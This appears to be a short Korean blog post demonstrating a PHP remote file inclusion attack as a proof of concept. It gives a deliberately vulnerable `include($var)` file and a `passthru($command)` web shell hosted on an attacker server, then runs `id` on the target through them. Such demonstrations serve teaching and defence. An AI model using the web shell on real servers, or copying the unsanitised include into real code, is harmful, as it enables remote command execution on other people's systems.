반응형
일반적인 PHP injection 공격 방법을 시험해 볼 것이다.
모의 공격을 위해, 공격을 당할 서버에 PHP Injection에 취약한 다음 code를 업로드할 것이다.
// test.php
<? include($var); ?>
[공격 당할 서버 예제 사진]
$var 변수에 `test'라는 값을 입력하자, include path error가 출력되었다.
결론적으로 우리는 $var 변수에 공격 코드 URL을 입력하여 명령을 삽입할 수 있게 된다.
그 후, 공격자의 웹서버에 다음 code를 업로드할 것이다.
// attack
<? passthru($command); ?>
[공격자의 서버 예제 사진]
$command 변수를 통해 시스템 명령어를 수행할 수 있도록 passthru() 함수를 사용하였다.
자, 그럼 모의 공격을 시도해보자.
다음과 같이 $var 변수에 `attacker_host' host에 있는 attack 파일을 include 요청하여 불러온 후,
$command 변수에 `id' 명령어를 삽입하여 현재 권한을 확인할 수 있었다.
[공격 후, 명령어 결과 사진]
공격 후, 공격을 받은 시스템에 작성된 log 파일 일부를 읽어본 결과, 다음과 같은 내용을 볼 수 있었다.
[공격 후, 서버에 기록된 공격자의 IP 정보와 요청내용]
지금까지, 개념 증명하에 PHP Injection 취약점 모의 공격을 시도해보았다.
공격을 시도해본 결과, 여러대의 서버를 필요로 하고 또, 공격자의 요청내용이 서버에 기록된다는 사실을 알게 되었다.
'Security' 카테고리의 다른 글
퍼미션 (0) | 2007.03.09 |
---|---|
/etc/passwd 구조 (0) | 2007.03.09 |
Mysql 을 이용한 쉘 획득법 (0) | 2007.03.09 |
Writing Stack Based Overflows on Windows (0) | 2007.03.09 |
Buffer overflow foundation (0) | 2007.03.09 |